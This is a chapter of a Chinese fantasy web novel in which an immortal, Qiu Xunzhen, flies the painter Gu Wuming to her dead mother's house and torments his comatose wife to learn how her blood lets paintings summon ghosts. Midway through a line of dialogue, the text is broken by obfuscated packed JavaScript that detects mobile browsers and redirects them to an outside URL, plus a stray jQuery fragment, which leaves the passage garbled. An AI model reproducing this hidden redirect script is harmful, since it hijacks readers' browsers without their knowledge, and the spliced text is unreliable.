辜无名就这么被“转手”了,他眼睁睁地看着玉树临风的秦公子一边叫嚣着“你等着!”一边骑着毛驴哒哒地跑了。
仇寻真没有理他,回头冲着轿子一挥手,轿子就凭空不见了。
辜无名不敢说话,他扶着萍娘站在地上,一面害怕,一面失望,面前这个女子到底想要他做什么?萍娘……还能醒过来吗?
辜无名越想越难受,不禁落下泪来,那泪珠砸在萍娘脸上,砸得她的眉头轻轻一蹙。
“你哭什么?”仇寻真也被他吓了一跳。
辜无名猛地抬头,目光忿忿道:“我哭你们这些仙人也如我们凡人一般,言而无信,反复无常!亏我还把你们当救星!”
仇寻真闻言一点儿都不生气,反而开解道:“这就怪你自己了,谁让你把仙人想得那么好,仙人也是人,是人就脱不了俗。”
辜无名怒道:“既如此,那你们凭什么寿数比我们长,凭什么飞天揽月,凭什么点石成金!”
仇寻真一摊手道:“身负仙骨就能修仙,谁叫你爹娘没给你生根仙骨。”
辜无名被她这一番话击得胸口胀痛,确实如此,若他有仙骨,他也可以修仙,他也不必画画,萍娘也不会遇见他,不遇见他,便不至于昏迷不醒。
他苦笑道:“原来一切都是命。”
仇寻真点点头道:“正是,命中注定你要受生老病死之苦,命中注定她要昏睡不醒。”
辜无名再无话说,他垂头看着萍娘,脑中一片空茫。
仇寻真饶有兴致地看着他这副失了魂的模样,又道:“不过,我这人不太信命。”
辜无名抬起头望向她。
仇寻真走他面前,对他一笑,接着单手就将萍娘从他怀里搂了过去。
“你做什么!”辜无名下意识去抢,却反而被仇寻真擒住了手腕,紧接着仇寻真就拽着他就腾空而起。
他张嘴想叫,风却呼呼往他嘴里灌,地面离他越来越远,他的心也越蹦越快,他赶紧闭上眼,生怕自己也落得和丁仙人嘴里那个凡人一样的下场。
“不是想飞吗,怎么打哆嗦了?”仇寻真转头问他。
辜无名双唇紧闭,眼睛也睁不开,他甚至连动一下都不敢,风像一双大手一样不断把他往后推,他摇摇晃晃,全靠仇寻真抓着才勉强稳住身形。
仇寻真见状撇撇嘴,下一刻,辜无名就发现风停了,不对,不是风停了,风声还在耳边呼啸,但有什么东西罩住了他,风吹不到他了。
他看着仇寻真,仇寻真若无其事道:“算了,待会儿给你吹死了,我还得救。”
辜无名这才明白原来刚才是仇寻真故意戏弄他,他看向她怀中的萍娘,她安安稳稳地靠在仇寻真身上,连根头发丝儿都没有动。
辜无名安下心来,这才有心情看一看天上的风景。
他左看右看,上看下看,一时从云里传过,时不时和一群飞鸟并肩,地面小的像块布。
“好看吗?”仇寻真又问。
辜无名道:“好看,我要画下来。”
仇寻真道:“画!画好了我再带你飞一回。”
许是因为在天上,辜无名的心境比之刚才又开阔大胆许多,他道:“我不想飞,我只希望你能救救萍娘。”
仇寻真痛快道:“救她自然可以,不过你要帮我画幅画。”
辜无名迟疑片刻,问:“画谁?”
仇寻真淡淡道:“我娘。”
辜无名一愣,脱口而出:“”仙人也有娘吗?”
仇寻真白了他一眼,道:“废话,仙人也是人生出来的,不是石头缝儿里蹦出来的。”
仇寻真不光有娘,还有老家。
一行人落到了凡界的一座南方小城中,小城东向临着护城河边有不少民房,其中最边角处有间小院儿,墙颓瓦烂,大门朽倒,院内杂草丛生,风一吹窸窸窣窣,像有人在院中快步走动,周围没有人敢靠近,连乞丐都不来这里睡觉。
他们到时正好是深夜。
辜无名四处一扫,就怀疑此地闹鬼,仇寻真却很自在,她拍拍手,院子里便灯火通明,杂草也眨眼不见,烂窗破门都修复如新。
“这便是我娘当年住的地方。”仇寻真道,“她也是在这儿死的。”
辜无名问:“令堂去世多久了?”
仇寻真摸着下巴想了想道:“大概已经有……四百多年了?”
辜无名惊讶道:“四百多年了这院子竟然还在?”
“你以为!这是我娘她家的祖产,不过自从我娘死后他们就一直想卖,被我略施小计,哼哼,反正现在这里连乞丐都不敢来。”
仇寻真说得很是得意,辜无名看了暗叹,看来有个仙人亲戚也不是好事。
“走,我带你去画画。”
仇寻真说罢拽着他就走,辜无名被扯得一趔趄,再一抬头,人已经到了一间厢房内,房间不大,但陈设雅致,伴有阵阵梅香。
仇寻真将萍娘放在榻上,而后径直走向书桌。
辜无名站在榻边没动,仇寻真朝他招手:“过来啊。”
辜无名又看了眼萍娘,这才走过去。
“看。”
仇寻真指着桌上放着的青釉笔洗让他看,辜无名不解,但仍是乖乖照做。
笔洗中只有一汪清水,渐渐水面泛起涟漪,原先清晰可见的青色缸底不知何时消失了,一汪清水变得深不可测,水中似乎有什么东西想翻涌上来,辜无名不禁后退,仇寻真却道:“仔细看。”辜无名只得接着看,涟漪越来越淡,水底最终翻起一张女子的脸,和他四目对望,眼神颇为幽怨。
仇寻真在旁道:“这就是我娘,你好好看,记住她的脸,待会儿给我画出来。”
这下真得仔细看看了。
辜无名摒弃杂念,凑近细看,水中的女子仿佛知道他在看她,眼神一直跟随,她披着头发,脸上未施脂粉,修耳隆鼻,长相英气,但神情中却带着一丝苦相,怨气暗生。
辜无名心想,仇寻真和这个女子一点都不像,轮廓或许有几分相似,但单看着仇寻真的脸,他是无论如何都想不出她娘会是这副模样,画人像落笔最重的其实不是五官,而是神态,这母女俩的神态完全是南辕北辙,仇寻真脸上只有狂妄。
“看好了吗?”仇寻真问。
辜无名点头:“好了。”
他一说完,水上女子倏忽散去,水面恢复平静。
仇寻真努努下巴,道:“去画吧。”
辜无名没作声,眼神落在书桌上。
仇寻真扫了一眼,问:“怎么?缺了什么?”
辜无名摇摇头:“不缺,只是……萍娘还没醒。”
仇寻真笑了:“学聪明了嘛。”
辜无名道:“你先救她,我再画。”
仇寻真不耐道:“你画了我再救!”
辜无名不肯,只坚持要她先把萍娘唤醒。
仇寻真故意道:“难道没有她你就画不了了?”
辜无名又不说话了。
仇寻真眯起眼睛,看了他一会儿转身便走,辜无名连忙跟上,仇寻真已经坐在榻上,将一只手掌贴在萍娘额头上,另一只手并起两指,隔空从萍娘额头开始缓缓下滑,仿佛在割开什么东西。
辜无名看着她这个动作很是不安,忍不住问:“你在做什么?”
仇寻真冷冷道:“我在看她有什么稀奇。”
辜无名更慌了,忙问::“你怎么看
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228402|197572||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?她可会痛?”
仇寻真乜他一眼,道:“痛也不是痛在你身上。”
辜无名一听再受不了了,他冲上去就想推开仇寻真,可还没近身就被弹开了,他摔倒在地,手脚似被绳子捆住,动弹不得,只能勉强仰起脖子望向榻上,仇寻真还在拿手慢慢“割”萍娘,萍娘脸色更白了。
辜无名心如刀割,都是他,都是他害得萍娘生受此番折磨。
仇寻真好心道:“你可知道丁长庚准备怎么救她,他要给她喂蚀骨焚心丹,光听这名字都知道这不是个好玩意儿,吃了这丹不死也要疯,跟他相比,我的手段算得上柔风细雨。”
辜无名听得胆战心惊,更令他害怕的是,榻上的萍娘似乎也在发抖。
他急得大喊道:“别动她!求求你别动她了!我不要你救了!”
仇寻真阴阳怪气道:“不救不行啊,不救,你不给我画啊!”
辜无名道:“我画!我现在就画!”
仇寻真脸上的笑愈发邪气,她问:“你怎么画?”
辜无名一愣,这才明白她折磨萍娘的用意,从在轿子里开始,仇寻真就在打探他到底是如何通鬼的,她对这件事非常好奇。
辜无名咬咬牙,一鼓作气道:“我……我用萍娘的血画!她的血,就是我的墨汁!”
他一说完,仇寻真立刻从萍娘身上收回了手,他的手脚也是一松。
仇寻真问他:“她的血为什么能通鬼?”
辜无名仍旧坐在地上,神情颓丧,他不看她,只望着萍娘道:“她是阴时阴月阴年出生,自小就有阴阳眼。”
仇寻真道:“阴时阴月出生的人多了,她姓什么?”
“范,单名一个萍字。”
“家在哪里?”
“榕城。”
“榕城,姓范、阴时阴月阴年……原来如此。”
仇寻真喃喃自语,露出一个恍然大悟的表情。
辜无名不明所以,但也不想问。
“画成之后鬼魂何时来?”仇寻真又问。
辜无名道:“将画放在枕下,夜半三更,画中魂自会前来。”
仇寻真至此再无疑惑,她一下变得很客气,对他拱手道:“明白了。多谢辜先生,我这便送你回去。”
辜无名不敢相信:“回去?你不要我帮你画了吗?”
仇寻真一指萍娘,笑道:“我有她就够了,她的血才是关键,画,谁画都行。”
谁画都行?
辜无名“蹭”得一下从地上爬了起来,他喊:“你休想!萍娘是我的妻!我们绝不分开!”
仇寻真笑道:“你的妻又如何,她的血又不是只有你能用。”
辜无名此刻简直想大哭一场,又恨不得扑上去把仇寻真杀了,他声嘶力竭道:“你……你枉为仙人,你禽兽不如!老天啊!你不开眼!”
“你敢骂我?”仇寻真眉毛一竖,伸手就掐住他的脖子,一下把他提了起来。
辜无名双脚离地,不断扑腾,双手在脖子上乱抓,想把仇寻真的手扯下来,但根本是徒劳,仙人的手岂能被他轻易挣脱,他的命,本该如此。
仇寻真笑嘻嘻地看着他,手却越收越紧,辜无名眼前一阵阵发黑,胸膛胀痛,他的手慢慢滑了下去。
就在此际,一声微弱的呼唤在室内响起。
“住手……”
此声一出,仇寻真立刻松了手,顺手把辜无名往榻上一丢。
辜无名捂着脖子,猛烈地咳嗽起来,他咳得满眼泪花,一转头,竟与榻上的人四目相对。
辜无名刹那间以为自己已经死了。
萍娘终于睁开了眼,此刻正用和刚才水中倒影女子一模一样的眼神,望着他。